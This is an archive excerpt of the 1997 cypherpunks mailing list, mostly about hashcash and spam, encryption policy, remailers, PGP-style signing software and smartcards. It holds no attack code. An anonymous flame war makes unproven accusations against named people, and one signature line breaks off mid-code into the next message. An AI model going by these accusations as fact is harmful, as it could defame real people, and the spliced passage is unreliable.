machines which are not only easily tricked, but also tend to have
about as much horsepower as each of the thousands of clients they serve.

>>                         and b) it reduces bandwidth consumption on
>> dial up users pay per second lines as the spam is killed before they
>> see it.
>
>I have not (yet) persuaded demon to allow user-defined procmail rules
>on the ISP end of the phone lines.  Anybody know an ISP who does this ?

Almost any ISP that provides shell accounts can give you a mechanism for this,
whether it's procmail itself or your own relay program that feeds
your mail to procmail before delivering it to you.

Alternatively, some of the boring commercial services like AOL
have Spam-blocking options, and the pobox.com mail relay does also.
These aren't like having your own procmail, but they'll kill off
the well-known spammers for you, e.g. blocking c y b e r p r o m o
and some of the popular harvester programs that advertise themselves
in mail headers.



>> Better, is to require valid hashcash on all mail, _until_ the
>> recipient replies to a mail.  This is good because people rarely reply
>> to spammers.
>This means a huge database of who has replied to whom.  Must the
>reply have headers indicating In-Reply-To a recognisable message ?

That has real trouble with mailing lists.
It also creates a valuable soft-target traffic analysis database;
unlike current sendmail logs, it'll probably stick around for
an extended period of time, and be readily subpoenaed.
At a minimum, such a database should keep keyed hashes of addresses
rather than the addresses themselves - that still makes it possible
to check for individual known addresses, but makes it harder
to go fishing for everybody.  The reason for keyed hashes is to
require dictionary attacks to target individual machines,
but the added work factor for hashing the database of usual suspects
for aol.com, compuserve.com, hotmail.com, juno.com, worldnet.att.net,
demon.co.uk, and relay.national.sg isn't that large.

Also, it's easy for spammers to fake replies to themselves to 
prime the pump for their big spam.  And if you let mailing lists slide,
they can easily forge mail from the mailing lists.
				Thanks! 
					Bill
Bill Stewart, bill.stewart at pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639






From sherman at gl.umbc.edu  Sat Dec 13 10:58:55 1997
From: sherman at gl.umbc.edu (Dr. Alan Sherman)
Date: Sun, 14 Dec 1997 02:58:55 +0800
Subject: Gilmore to speak on encryption policy at UMBC (Tues, Dec 16)
Message-ID: 



   The UMBC Security Technology Research Group presents

        Two Divergent Views on Encryption Policy:
				   
I.  Wisdom and Constitutionality in U.S. Cryptography Policy
 John Gilmore, Co-Founder, Electronic Frontier Foundation

II. A Government Perspective on Encryption Policy
 [Will anyone from the U.S. Government agree to speak??*]

Two divergent views on the topic of encryption policy by
freedom activist John Gilmore and by a government official,
if one agrees to speak.  Journalist Peter Wayner will
moderate the event, which is free and open to the public.
  Note: If no one from the U.S. Government is willing to
explain and discuss Government encryption policy, then the
event will proceed with John Gilmore alone.

  8-10:30 pm
  Tuesday, December 16, 1997
  Lecture Hall III (in Administration Building)
  University of Maryland Baltimore County
  http://www.cs.umbc.edu/events/fall97/crypto.shtml

The fifth employee of Sun Microsystems and a strong believer
in the U.S. Constitution, John Gilmore is currently involved
in litigation against several government agencies over
matters of freedom of information, freedom of expression,
and encryption policies.  He will discuss the
constitutionality of controlling encryption.

Directions: Take Exit #47B off interstate I-95 and follow
signs to UMBC.  LH III is on the ground floor of the (tall)
administration building, adjacent the visitor's parking
lot, near the I-95 entrance to UMBC.

Host: Dr. Alan T. Sherman
      Associate Professor, Computer Science
      sherman at cs.umbc.edu
      http://www.umbc.edu
      (410) 455-2666

     This event is held in cooperation with the UMBC
	       Intellectual Sports Council
		       Honors College
	       Phi Beta Kappa honors society
                   CMSC Council of Majors
		   IFSM Council of Majors

* The following U.S. Government officials declined to speak on December 16:

Barry Smith (Supervisory Special Agent, FBI)  
   [Mr. Smith has agreed in principle to speak at UMBC in the spring on
    a law enforcement view of encryption policy;  the evening of 
    Dec 16 turned out to be a bad time for him.]
William Reinsch (Undersecretary for Export Administration, BXA)
Bob Litt (Attorney General's Office, DoJ)
Scott Charney (Computer Crimes, DoJ)
Bruce McConnell (Information Policy, OMB)
Ron Lee (General Counsel, NSA)
Dr. Clint Brooks (Director, Cryptographic Policy, NSA)
Charlotte Knepper (Co-Chair, Inter-Agency Working Group on Encryption Policy)
Chris McLean (Staffer for Senator Bob Kerry;  helped draft legislation
  on encryption policy)

I am still hopeful to find a second speaker by Tuesday evening.






From rfarmer at HiWAAY.net  Sat Dec 13 12:07:24 1997
From: rfarmer at HiWAAY.net (Uhh...this is Joe [Randall Farmer])
Date: Sun, 14 Dec 1997 04:07:24 +0800
Subject: hashcash spam prevention & firewalls
In-Reply-To: <34921c6b.2682714@128.2.84.191>
Message-ID: 



> What's the difference between this and simply keeping track of how many
> messages each user sends in a 24 hour period and blocking people who are
> obviously spamming?

Spammers don't have to appear to be the same person every time, nor do their
messages have to be identical or even similar, so blocking of that kind can be
worked around fairly easily -- at least more easily than hashcash. 

> 
> -- Phelix

---------------------------------------------------------------------------
Randall Farmer
    rfarmer at hiwaay.net
    http://hiwaay.net/~rfarmer






From rfarmer at HiWAAY.net  Sat Dec 13 12:12:38 1997
From: rfarmer at HiWAAY.net (Uhh...this is Joe [Randall Farmer])
Date: Sun, 14 Dec 1997 04:12:38 +0800
Subject: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: 



...
> So, we would need about 44 hours of CPU time each day.

Well, have a system of certified remailers trusted to force their users to burn
up time at the sending end, so the ultimate recipient accepts their messages
w/o postage. One certified remailer accepts messages from others without any
postage, so only the original sender has to use up CPU time. 

>   -- Robert Costner                  Phone: (770) 512-8746
>      Electronic Frontiers Georgia    mailto:pooh at efga.org  
>      http://www.efga.org/            run PGP 5.0 for my public key

---------------------------------------------------------------------------
Randall Farmer
    rfarmer at hiwaay.net
    http://hiwaay.net/~rfarmer








From jamesd at echeque.com  Sat Dec 13 12:35:56 1997
From: jamesd at echeque.com (James A. Donald)
Date: Sun, 14 Dec 1997 04:35:56 +0800
Subject: Kong Re: Please Beta test my communications cryptography  product.
Message-ID: <199712132023.MAA06952@proxy4.ba.best.com>



    -- 177
At 5:00 PM -0800 12/4/97, James A. Donald wrote:
> > > I have produced a program that, like PGP, provides digital 
> > > signatures and communications encryption. 
> > > http://www.jim.com/jamesd/Kong/Kong.htm
> > >This is the first beta.  Please beta test this product.

At 07:06 PM 12/12/97 -0800, Bill Stewart wrote:
> The web page says that the first beta had some problems, 

Beta 2 is now out.

Please uninstall your old copy, using "Add/Remove programs" in the
control panel, before installing the new copy, as overinstall does not
work.

(If you forgetfully overinstall, a warning comes up, but most people
cheerfully disregard the warning)

>- Signed Message: Delimiter, Message Body, ECC Public Key, ECC Sig.
>	I didn't notice what hash was used for the signatures -- SHA?
>	

SHA:  I failed to document that, will add it to the documentation.

>- Encrypted Message: ECC(SessionKey), RC4(Message Body, SessionKey).
>
>  I'm not sure if there are headers that include the recipient's key,
>   or if there's any special form for an encrypted-and-signed
>  message. I assume there's no multiple-recipient form?

Multiple recipient form works, but the user interface to use it does 
not yet exist which makes it kind of useless.  Coming soon.

>1) Are the Signer's Name and the ECC key included in the 
>	material that's hashed for signature?  Doing that is
>	valuable, but depending on it makes it more difficult if
>	people change addresses.

Yes:  However the name is only hashed in a cryptographically weak
manner, so a third party could change the name in a cleartext message.
However if the message is cleartext there is nothing to stop him from
copying the body and giving it any signature he pleases, so this does
not actually gain the attacker anything.  After all, that is what
cleartext is.

If he changes the name it looks to the user and Kong like a new and
different signature.

>2) It would be nice if the starting and ending delimiters were
>different.
>	This would let you nest messages without needing >s. Can Kong
>	tell a nested opening -- from a closing --digsig ? Are --s
>	escaped, or at least --digsig?

    --
Yes:  For example this message contains a nested message.

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG 
     J14rDU1EjUofOmSoHg1Ye0GF6/+6wdvxmCwMryE4 
     1jNcIP5kRfVPada+5w8zfIGEodi2Mrz80ZbvXsK1

>3) How are newlines and whitespace in the message body handled for
>signatures?
>	Canonicalized?  Ignored?  Not worried about?  

Not worried about, which is probably a seriously bad idea.  Will fix
in a later release.  In a later release I will canonicalise carriage
returns to Microsoft conventions, but not whitespace.  As this is
alas, a Borg only product, and will remain so for some time, such
canonicalisation will not break existing signed documents.

>	This affects not only reliability of signatures after
>	emailing, but also affects signing binary files.

Signing binary files is not yet supported, and will not be for some
time.

>4) I'd guess, since you're using 240-bit ECC and base-64 encoding,
>	that the first 40 characters of garble in the signature are
>	the key, and the remaining 80 characters are the signature
>	itself?

Yes

>	If so, is there some easy way to use the 40-char string, e.g.
>	type in a copy from the bottom of a business card?

Yes

If Kong says a signature is good, and the public key agrees with a
business card then the guy who wrote the business card is claiming to
be the author of the message.  Actually you do not have to check all
43 characters.  It is sufficient to check the first ten characters, or
any ten characters.

>	Some of the documentation says something about the key being
>	 derived from your passphrase and a randomness file hashed
>	together. How does this affect multiple keys generated by the
>	same user? I assume it means you can't share passphrases
>	between keys.

If two keys have the same passphrase, but a different secret file,
then they will be two completely different keys.

However, the same passphrase, and the same file, means the same key. 
The secret file is merely concatenated with the secret file

>5) Is the format of the signature freeform, or do the newlines and 
>	whitespace have to be in their official locations? 

Minor flexibility.  You can add or remove leading blanks, and use
either lf or cr or both.  It is not totally rigid, but it is pretty
rigid. 

    --digsig
         James A. Donald
     6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
     Uy36NbrQf/3FKV77cTtzFrHxsy0dcx9l6Svy/Fl5
     xP+I6vLpjTgacrHEqXoD3gv+HF9Tx4Zl+0yDGhQF






From brianbr at together.net  Sat Dec 13 12:55:02 1997
From: brianbr at together.net (Brian B. Riley)
Date: Sun, 14 Dec 1997 04:55:02 +0800
Subject: Columbian squib on Bell sentencing
Message-ID: <199712132049.PAA22202@mx02.together.net>



-----BEGIN PGP SIGNED MESSAGE-----

On 12/13/97 9:38 AM, frissell at panix.com (frissell at panix.com)  passed
this wisdom:

>>>From The Columbian's web site at
>>:
>>
>>     'Assassination Politics' 
>>     author gets 11 months
>>
>>       TACOMA, Wash. - James Dalton Bell, the Vancouver man who
>> wrote an Internet essay entitled "Assassination Politics," was
>>sentenced this morning to 11 months in prison and two to three years
>>of tightly supervised probation.
>
>Eleven *whole* months (8 months served already).  They've got to be 
>kidding.  
>
>This is misdemeanor territory.  I know he was chicken enough to plead
>but Milken pleaded and got 10 years!  We're quaking in our boots out
>here.

 ... hmmmm ... any hint of resrictions? i.e like not being able to use
a computer or be on the Internet??? Considering how much they harped
about the A.P. scheme I would have thought that would have been a
centerpiece of any punishment they meted out to Jim.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBNJL02j7r4fUXwraZAQG1Ogf/W/3Sq5L+KNmWQuNryYqXSlykB0zELONA
bsdlh7X6OslhB0vcfDzTlScfHTAV0dSI3PjHRvVIxAa8/ofQqNsD3zBxT8yoeJ79
++KkprNFbDBleOR5OQk2R4dh8NkxeSe/j64snL8ra4duipjWfizqaM/5He2+dYgy
SdI6IVzQUFPbXUQEk5AFb0r9s0E5/3YFPK7dp6KpXilIbFWPweTzsZKn5UamsdBR
m0rmWu+uH+5xL0+xbE5P0zGOEJtXzdaovQS8RSfKfOd3Fdnh75NFewPufM1aNDKd
yfvmRHZLt3zwn9bNqd0tavSPo2hO66pQsIIM3sP4S0hF7Xp0PLTV3A==
=y+eC
-----END PGP SIGNATURE-----


Brian B. Riley --> http://members.macconnect.com/~brianbr
 For PGP Keys  

  "One of the deep mysteries to me is our logo, the symbol of lust
   and knowledge, bitten into, all crossed with in the colors of the
   rainbow in the wrong order. You couldn't dream of a more 
   appropriate logo: lust, knowledge, hope, and anarchy."
   -- Gassee - Apple Logo







From tcmay at got.net  Sat Dec 13 12:58:14 1997
From: tcmay at got.net (Tim May)
Date: Sun, 14 Dec 1997 04:58:14 +0800
Subject: Columbian squib on Bell sentencing
In-Reply-To: <3.0.2.32.19971213093848.038eb1a8@panix.com>
Message-ID: 



At 11:24 AM -0700 12/13/97, Bill Stewart wrote:
>At 09:38 AM 12/13/1997 -0500, frissell at panix.com wrote:
>>Eleven *whole* months (8 months served already).  They've got to be
>>kidding.
>>This is misdemeanor territory.  I know he was chicken enough to plead but
>>Milken pleaded and got 10 years!  We're quaking in our boots out here.
>
>Does the 11 months include time served?

Bill, Bill, Bill....

That was not "time served," that was "psychological counselling." Bell was
under the benficent care of mental health workers, seeking to allay his
fears of the government.

The six months he spent in psychological counelling were not prison time,
just as the Soviet hospitals for dissidents were not actually prisons.

With enough further care, Citizen-Unit Bell will _love_ Big Brother.

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From pooh at efga.org  Sat Dec 13 13:28:15 1997
From: pooh at efga.org (Robert A. Costner)
Date: Sun, 14 Dec 1997 05:28:15 +0800
Subject: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>



At 02:07 PM 12/13/97 -0600, Uhh...this is Joe [Randall Farmer] wrote:
>> So, we would need about 44 hours of CPU time each day.
>
>Well, have a system of certified remailers trusted to force their users to
burn
>up time at the sending end, so the ultimate recipient accepts their messages
>w/o postage. One certified remailer accepts messages from others without any
>postage, so only the original sender has to use up CPU time. 

Once again someone is responding to me by talking about hashcash in the
internal remailer network.  I don't think this is what I'm referring to.
Perhaps because I do not fully understand how anti spam hashcash would be
implemented on a per message basis.

The idea proposed was one to limit Spam to ISPs by using hashcash to stop
spam coming into an ISP.  Imagine the domain anon.efga.org wishes to send
4,000 per day messages to the various domains netcom.com, aol.com,
mindspring.com, etc.  Each individual message is reasonably unique coming
from anon.efga.org.  Since we need hashcash now to LEAVE a remailer, not to
enter one, where does this hashcash come from?  A busy remailer could not
generate it's own hashcash for the destination non-remailer ISPs.

Does the same hashcash that allows a message to enter the remailer network
also retain it's validity once the message has been rewritten by the
remailer?  Is this hashcash still valid for the destination mail server at
netcom?  Does the initial sender provide two instances of hashcash, one to
get into the remailer, and one to get into the destination mail system?

Various remailers can distort a message in a variety of ways.  Dropping of
MIME attachments, munging of email addresses when CC'ed to a newsgroup,
adding a PGP signature or timestamp, adding headers that explain it's a
remailer, adding footers that explain it's a remailer.  Since the actual
message can change, it seems that for hashcash to be message dependent, it
would have to be generated by the exit remailer.

I'm not claiming I understand the concept of hashcash.  I'm simply pointing
out I don't see how it would truly be effective in a real world application.


  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh at efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key






From nobody at REPLAY.COM  Sat Dec 13 14:15:37 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 14 Dec 1997 06:15:37 +0800
Subject: Another of Gary Burnore's Lies Exposed
In-Reply-To: <66ssjm$bei@examiner.concentric.net>
Message-ID: <199712132204.XAA04453@basement.replay.com>



gburnore at netcom.com (Gary L. Burnore) wrote:

> X-No-Archive: yes

> :> That must mean that I'm harassing you as well, right?
> :
> :That is exactly my objection to the tactics of Gary Burnore and the DataBasix
> :gang.
>  
> You've posted no evidence tactics were EVER used.  Naturally, you expect
> everyone to believe you and naturally, a few like sam will.

I don't expect anybody to "believe me".  That's why I have posted a URL to a 
post by Jeff Burchell in which he outlines your tactics, such as your demand
that he turn over his logs to you, which would have had the effect of 
compromising the remailer's security and eroding confidence in it.  Is that
really what you wanted?  For remailer users to distrust the remailer net and
stop using it?  You have still not explained why you wanted the remailer logs 
and what you intended to do with the names and addresses contained therein.

> : He calls
> :the kind of discussion that the three of us are engaging in "harassment", and
> :has even, upon occasion, accused posts critical of him of constituting
> :"libel".
>  
> You have from time to time constituted libel. 

Would you care to prove that?  Saying something that Gary Burnore or Belinda
Bryan don't like is not "libel".  To be "libel" a statement must be both
DEFAMATORY as well as FALSE.  While being reminded of your own actions
several months ago might prove to be embarassing, it's not libel.

What was really laughable was when your fellow DataBasix staff member Billy
McClatchie accused another anonymous usenet poster of "slander"!  He must have 
gone to the same law school as Belinda. 

> That's not abuse.  Your
> harassment is only that, harassment.  The ABUSE is UCE-Baiting.  The fact that
> some remailer operators are now taking measures to prevent UCE-Baiting is
> evidence not only that the problem existed, but that something COULD be done
> about it.

That's not what Jeff's post said.  It said that your pretext for demanding his
user logs was an "unflattering post", not all this nonsense about "spam baiting"
that you invented later.

My "harassment"?  You keep whining about my so-called "harassment", but you
have yet to prove ANY of it.

> :Actually, Gary may unwittingly prove to be a "friend" of remailers, yet.
>  
>  
> Unwittingly?  I was never NOT a friend of remailers.  YOU on the otherhand may
> simply be unwittingly trying to shut them down.  I happen to believe you're
> doing it on purpose, but maybe, just maybe, you have no clue what you're
> doing.

What would people have to be smoking (and inhaling) to believe that nonsense?
Anyone who demands that a remailer operator violate the privacy of all of his
users to placate one chronic whiner is no "friend" to remailers.  Such 
"friends" they can do without.  What do you think it would have done for the 
reputation of remailer security if Jeff had actually kept logs and had turned 
them over to individuals such as you and Belinda?

Do you really think it would be more "pro remailer" to just pretend that your
attempt to attempt to obtain sendmail logs from the Huge Cajones Remailer 
didn't occur?

Of the two of us, I'm the one that admits to actually USING remailers.  For me
to try to shut them down would make no sense.

> If you don't like being called the anon asshole, stop being an asshole.

If you don't like being called anti-privacy, stop being anti-privacy.






From ravage at ssz.com  Sat Dec 13 14:18:27 1997
From: ravage at ssz.com (Jim Choate)
Date: Sun, 14 Dec 1997 06:18:27 +0800
Subject: Ok children...
Message-ID: <199712132228.QAA23871@einstein.ssz.com>



Hi,

Would you gentlemen be so kind as to take your personal and apparently petty
squabble elsewhere?

Thanks for your prompt help with this matter.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|



Forwarded message:

> From owner-cypherpunks at ssz.com Sat Dec 13 16:27:26 1997
> Date: Sat, 13 Dec 1997 23:04:07 +0100 (MET)
> Message-Id: <199712132204.XAA04453 at basement.replay.com>
> To: mail2news at anon.lcs.mit.edu, cypherpunks at toad.com,
>         mail2news at basement.replay.com, m2n at alpha.jpunix.com
> From: nobody at REPLAY.COM (Anonymous)
> Organization: Replay and Company UnLimited
> 
> X-001: Replay may or may not approve of the content of this posting
> X-002: Report misuse of this automated service to 
> X-URL: http://www.replay.com/remailer/
> Newsgroups: alt.privacy.anon-server,alt.cypherpunks,news.admin.net-abuse.email,alt.privacy,alt.censorship,comp.org.eff.talk
> Subject: Re: Another of Gary Burnore's Lies Exposed
> References: <66ssjm$bei at examiner.concentric.net> <199712131402.PAA10108 at basement.replay.com> <3494afd2.148597235 at nntp.best.ix.netcom.com>
> Sender: owner-cypherpunks at ssz.com
> Precedence: bulk
> X-Mailing-List: cypherpunks at ssz.com
> X-List-Admin: list at ssz.com
> X-Loop: ssz.com
> X-Language: English, Russian, German
> 
> gburnore at netcom.com (Gary L. Burnore) wrote:
> 
> > X-No-Archive: yes
> 
> > :> That must mean that I'm harassing you as well, right?
> > :
> > :That is exactly my objection to the tactics of Gary Burnore and the DataBasix
> > :gang.
> >  
> > You've posted no evidence tactics were EVER used.  Naturally, you expect
> > everyone to believe you and naturally, a few like sam will.
> 
> I don't expect anybody to "believe me".  That's why I have posted a URL to a 
> post by Jeff Burchell in which he outlines your tactics, such as your demand
> that he turn over his logs to you, which would have had the effect of 
> compromising the remailer's security and eroding confidence in it.  Is that
> really what you wanted?  For remailer users to distrust the remailer net and
> stop using it?  You have still not explained why you wanted the remailer logs 
> and what you intended to do with the names and addresses contained therein.
> 
> > : He calls
> > :the kind of discussion that the three of us are engaging in "harassment", and
> > :has even, upon occasion, accused posts critical of him of constituting
> > :"libel".
> >  
> > You have from time to time constituted libel. 
> 
> Would you care to prove that?  Saying something that Gary Burnore or Belinda
> Bryan don't like is not "libel".  To be "libel" a statement must be both
> DEFAMATORY as well as FALSE.  While being reminded of your own actions
> several months ago might prove to be embarassing, it's not libel.
> 
> What was really laughable was when your fellow DataBasix staff member Billy
> McClatchie accused another anonymous usenet poster of "slander"!  He must have 
> gone to the same law school as Belinda. 
> 
> > That's not abuse.  Your
> > harassment is only that, harassment.  The ABUSE is UCE-Baiting.  The fact that
> > some remailer operators are now taking measures to prevent UCE-Baiting is
> > evidence not only that the problem existed, but that something COULD be done
> > about it.
> 
> That's not what Jeff's post said.  It said that your pretext for demanding his
> user logs was an "unflattering post", not all this nonsense about "spam baiting"
> that you invented later.
> 
> My "harassment"?  You keep whining about my so-called "harassment", but you
> have yet to prove ANY of it.
> 
> > :Actually, Gary may unwittingly prove to be a "friend" of remailers, yet.
> >  
> >  
> > Unwittingly?  I was never NOT a friend of remailers.  YOU on the otherhand may
> > simply be unwittingly trying to shut them down.  I happen to believe you're
> > doing it on purpose, but maybe, just maybe, you have no clue what you're
> > doing.
> 
> What would people have to be smoking (and inhaling) to believe that nonsense?
> Anyone who demands that a remailer operator violate the privacy of all of his
> users to placate one chronic whiner is no "friend" to remailers.  Such 
> "friends" they can do without.  What do you think it would have done for the 
> reputation of remailer security if Jeff had actually kept logs and had turned 
> them over to individuals such as you and Belinda?
> 
> Do you really think it would be more "pro remailer" to just pretend that your
> attempt to attempt to obtain sendmail logs from the Huge Cajones Remailer 
> didn't occur?
> 
> Of the two of us, I'm the one that admits to actually USING remailers.  For me
> to try to shut them down would make no sense.
> 
> > If you don't like being called the anon asshole, stop being an asshole.
> 
> If you don't like being called anti-privacy, stop being anti-privacy.
> 






From alan at clueserver.org  Sat Dec 13 16:15:52 1997
From: alan at clueserver.org (Alan)
Date: Sun, 14 Dec 1997 08:15:52 +0800
Subject: Smartcard update
In-Reply-To: 
Message-ID: 



On Sat, 13 Dec 1997, Lucky Green wrote:

> Cypherpunks Tonga announces yet another version of SIO/STEST, the
> universal smartcard software.
> 
> Quick summary of changes:
>  - Philips, Gemplus, and Schlumberger reader support added
>  - Chipknip (IEP) specific commands added
>  - new internal commands
>  - infrastructure for implementing card specific commands has been added
>    (which the chipknip commands are built on top of)
> 
> At this point, we need others to start writing tables to support
> additional cards. If you have an ISO7816 compatible smartcard with
> programmer reference manual and minimal C knowledge, you can contribute to
> the project. 

What kind of cash outlay would I be looking at for doing smartcard
development?  What do the needed parts run?  Any recomendations on
suppliers?  Places to avoid?

>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"

Don't they make toy trucks? ]:>

alan at ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.






From adam at homeport.org  Sat Dec 13 16:27:52 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 14 Dec 1997 08:27:52 +0800
Subject: How about a Bay Area meeting 1/17/98?
In-Reply-To: <6B5344C210C7D011835C0000F80127668B1593@exna01.securitydynamics.com>
Message-ID: <199712140019.TAA18808@homeport.org>




Trei, Peter wrote:
| 	Bill wrote:
| 	> The December Bay Area Cypherpunks Meeting will be held 12/13
| at 1pm at
| 	> Printer's Ink on Castro Street in Mountain View.
| 
| It would be nice if the January meeting were held the 17th. This is the
| day following
| the RSA Data Security Conference, and a lot of out-of-towners will be in
| the
| area over that weekend.

	Agreed.

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From nobody at REPLAY.COM  Sat Dec 13 16:28:30 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 14 Dec 1997 08:28:30 +0800
Subject: Another of Gary Burnore's Lies Exposed
In-Reply-To: <199712121926.UAA10480@basement.replay.com>
Message-ID: <199712140019.BAA21646@basement.replay.com>



gburnore at netcom.com (Gary L. Burnore) wrote:

> X-No-Archive: yes

> :Read it for yourself:
> :
> :-> I still don't know what the hell is going on with DataBasix, Wells Fargo
> :-> and Gary Burnore, but I suspect that someone used huge.cajones to say
> :-> something extremely unflattering about Burnore (from what I can tell,
> :-> he had it coming).  Burnore then decided that he would make things
> :-> difficult for me.  First, he wanted the user who had posted something
> :-> "inflammatory" about him revealed.  When I told him that I couldn't
> :-> do that, he carried on about mail logs and identifying the host that
> :-> a message came from (the usual).  I didn't explain to him that my
> :-> machine keeps logs, but not anything involving a *@cajones.com
> :-> address.  He then requested the logs, which I denied (and told him
> :-> to get his lawyer to send a request...)
> :
> :Here comes the key part:
> :
> :-> Between the time he first contacted me, and the time I received the
> :-> letter from Belinda Bryan, is when the baiting of databasix addresses
> :-> began (slowly, with just a few posts).
> :
> :It appears that his account differs from yours.
>  
> It appears you still censor what others say by omission.  It was said then and
> is still true now that the UCE-Baiting was NOT ONLY COMING FROM huge.cajones.
>  
> Oh, btw, since Jeff Burchell had no logs, Jeff wasn't aware of what went on
> before he was notified that it was going on.
>  
> (DUH)

That has got to be one of your most asinine assertions in awhile!  Maybe at
DataBasix logs are a recognized substitute for intelligence, but apparently
it is not universally so.  Had any of the abuse you allege been occuring at
Jeff's remailer, I'm quite sure that anyone "abused" would have complained to
him.

You're still beating around the bush.  You claimed that it was this so-called
"spam baiting" that you were trying to stop, but Jeff has pointed out that
you demanded a copy of his logs BEFORE any of it came through his
remailer.  According to him, you demanded that he turn over his logs and thus
violate his users' privacy because of a single "unflattering post" for which
you were trying to hunt down the author.  So what did you intend to do with
all those names and addresses?  If the Church of Scientology didn't succeed
in their attack on the privacy of Jeff's remailer users, what made you think
that DataBasix would succeed?  Belinda Bryan's legal skills being "superior"
to those of Scientology lawyer Helena Kobrin, perhaps?

And as far as this "spam bait" that you keep whining about coming from other
sources, you aren't going to repeat your old accusations that it was "forged"
from Mailmasher, are you?  The person who fabricated that "evidence" shot
himself in the foot and tried to frame the wrong target.  Mailmasher wasn't
even a remailer and had no header pasting capability.  Mailmasher's attacker
(none other than DataBasix' own Billy McClatchie) should have done his 
homework first.






From aba at dcs.ex.ac.uk  Sat Dec 13 16:32:37 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 14 Dec 1997 08:32:37 +0800
Subject: profit from spammers (Re: hashcash spam prevention & firewalls)
In-Reply-To: 
Message-ID: <199712132332.XAA03725@server.eternity.org>




Randall Farmer masquerading as Joe  writes:
> > What's the difference between this and simply keeping track of how many
> > messages each user sends in a 24 hour period and blocking people who are
> > obviously spamming?
> 
> Spammers don't have to appear to be the same person every time, nor
> do their messages have to be identical or even similar, so blocking
> of that kind can be worked around fairly easily -- at least more
> easily than hashcash.

I think Phelix was probably viewing it from the point of view if "what
if all ISPs turned off non subscriber mail forwarding at their SMTP
hubs"?

Well that would work clearly enough.  However I think there are a
number of technical problems to acheiving this.  Firstly SMTP does not
include authentication.

Secondly doing so reduces flexibility and many users use multiple
ISPs, forward their mail to various places, etc., and this kind of
stuff gets in the way.

Really we I think should be discouraging the control freak "positive
identification to use this port" syndrome such as the ident fuck up,
(Ident is a dumb method of identifying who is on the other end of a
socket on a unix box.  It opens up a socket to the ident port on the
originating machine, and asks who is on socket x port y?  The machine
can determine this from local OS tables, and sends the info back.
This works if the user does not have root on the machine.  Fortunately
this snoopy bastardised protocol is not doing so well these days
because there are more and more people who have root on their own
machines, and because there are so many windows machines which don't
know what a protected port number is.  This is good because Ident
sucks.) and moving instead towards, "who cares you are so long as you
can't overload my machine".  Moving longer term towards "who cares who
you are so long as I profit from your connecting to this port" aka
charge for port access with payer and payee anonymous ecash.  Then
everyone is welcome to use anywhere as a mail forwarding service --
spam becomes welcomed, and encouraged, too much custom and too low
bandwidth discouraging customers, the ISP will use the profits to
purchase a few more T3s.

Hashcash is the interim solution.

In the interim it is a fact of life that there are many many open SMTP
forwarding hubs.  The lack of software to configure them otherwise,
and inertia will ensure things remaing this way for some time.

Hashcash cuts out spam to your site (if you are an ISP), or to your
mailbox (if you are a user) even in an environment of an almost
unlimited supply of open SMTP hubs, and disposable ISP accounts,
because it puts the onus on the sender to consume more resources than
you.

Authenticated the hell out of your ISP's SMTP as a forwarding hub
won't prevent your users getting spammed to death, nor will it reduce
the overall spam problem much because the spammers will just use one
of the other open SMTP servers.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 no double spend database (Re: hashcash spam prevention & firewalls)
In-Reply-To: <3.0.3.32.19971213161023.03889c90@mail.atl.bellsouth.net>
Message-ID: <199712132348.XAA03770@server.eternity.org>




Robert Costner  writes:
> Does the same hashcash that allows a message to enter the remailer network
> also retain it's validity once the message has been rewritten by the
> remailer?  Is this hashcash still valid for the destination mail server at
> netcom?  Does the initial sender provide two instances of hashcash, one to
> get into the remailer, and one to get into the destination mail system?

The latter.  The originator provides all postage for one way
remailers.

Nym reply block postage needs other mechanisms as described in a
previous post.

> Various remailers can distort a message in a variety of ways.  Dropping of
> MIME attachments, munging of email addresses when CC'ed to a newsgroup,
> adding a PGP signature or timestamp, adding headers that explain it's a
> remailer, adding footers that explain it's a remailer.  Since the actual
> message can change, it seems that for hashcash to be message dependent, it
> would have to be generated by the exit remailer.

Making the hashcash message dependent is interesting in that it
removes the need for a double spending database, because apart from a
DoS attack it is not interesting to the spammer to send you multiple
copies of the same mail, and in previous discussions someone suggested
it for this reason.

However, generally I have been assuming that it's easier to have a
double spend database, and to make the hashcash depend only on the
